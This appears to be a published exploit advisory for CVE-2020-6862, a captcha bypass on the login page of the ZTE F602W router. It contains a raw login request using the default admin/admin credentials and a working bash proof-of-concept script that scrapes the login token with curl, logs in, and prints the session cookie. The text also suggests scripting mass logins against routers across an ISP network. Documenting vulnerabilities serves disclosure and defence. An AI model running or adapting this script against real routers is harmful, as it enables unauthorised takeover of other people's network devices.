ZTE Router F602W Captcha Bypass

2020.09.11
Credit: Hritik Vijay
Risk: Low
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: ZTE Router F602W - Captcha Bypass # Exploit Author: Hritik Vijay (@MrHritik) # Vendor Homepage: https://zte.com.cn # Reported: 2019-06-14 # Version: F6x2W V6.0.10P2T2 # Version: F6x2W V6.0.10P2T5 # Tested on: F602W # CVE: CVE-2020-6862 Background ----------- Captcha is used to make sure the form is being filled by a real person than an automated script. This is a very popular safety measure and bypassing it could lead to potential compromise. Introduction ------------ While logging in to the affected device you are presented with a username, password and captcha field. Submitting the form results in an HTTP request being sent out to /checkValidateCode.gch to validate the captcha, if valid it goes on to really submit the login request. This can be easily bypassed as this is a client side verification. One can always ignore the response and proceed to forcefully submit the form via Javascript (via calling the subpageSubmit() method). A typical login request looks like this: POST / HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/ Content-Type: application/x-www-form-urlencoded Content-Length: 101 Connection: close Cookie: _TESTCOOKIESUPPORT=1 Upgrade-Insecure-Requests: 1 frashnum=&action=login&Frm_Logintoken=2&Username=admin&Password=admin&Validatecode=literally_anything Though, firing the same request twice fails with a text on the top saying "Error". This pretty much defeats our purpose. It turns out that on every login attempt, the parameter Frm_Logintoken gets incremented by one and is required to match the server side value. This can pretty easily be achieved by some pattern matching. Thus allowing any script to bypass the captcha and log in. Threat ------- A captcha bypass can really help in bruteforcing the credentials but luckily the router limits the login trials to 3 attempts. In real world though, things are a bit different. The affected ZTE router comes with a default password. Given that the devices on a same ISP network can access each other, it would be a matter of time before someone writes a script to log in to every router in the network and take control of it. PoC ------- #!/bin/bash SERVER=192.168.1.1 USER="admin" PASS="admin" getToken(){ curl -s --cookie ' _TESTCOOKIESUPPORT=1; PATH=/;' $SERVER | grep 'Frm_Logintoken")' | cut -d\" -f4 } Frm_Logintoken=`getToken` s=$(curl -sv --data "frashnum=&action=login&Frm_Logintoken=$Frm_Logintoken&Username=$USER&Password=$PASS" --cookie ' _TESTCOOKIESUPPORT=1; PATH=/;' $SERVER -w "%{http_code}" -o /dev/null 2> /tmp/zte_cookie) if [[ $s -eq 302 ]]; then echo "Logged in" echo "Open http://$SERVER/start.ghtml" echo `grep -o Set-Cookie.* /tmp/zte_cookie` else echo "Failed" fi


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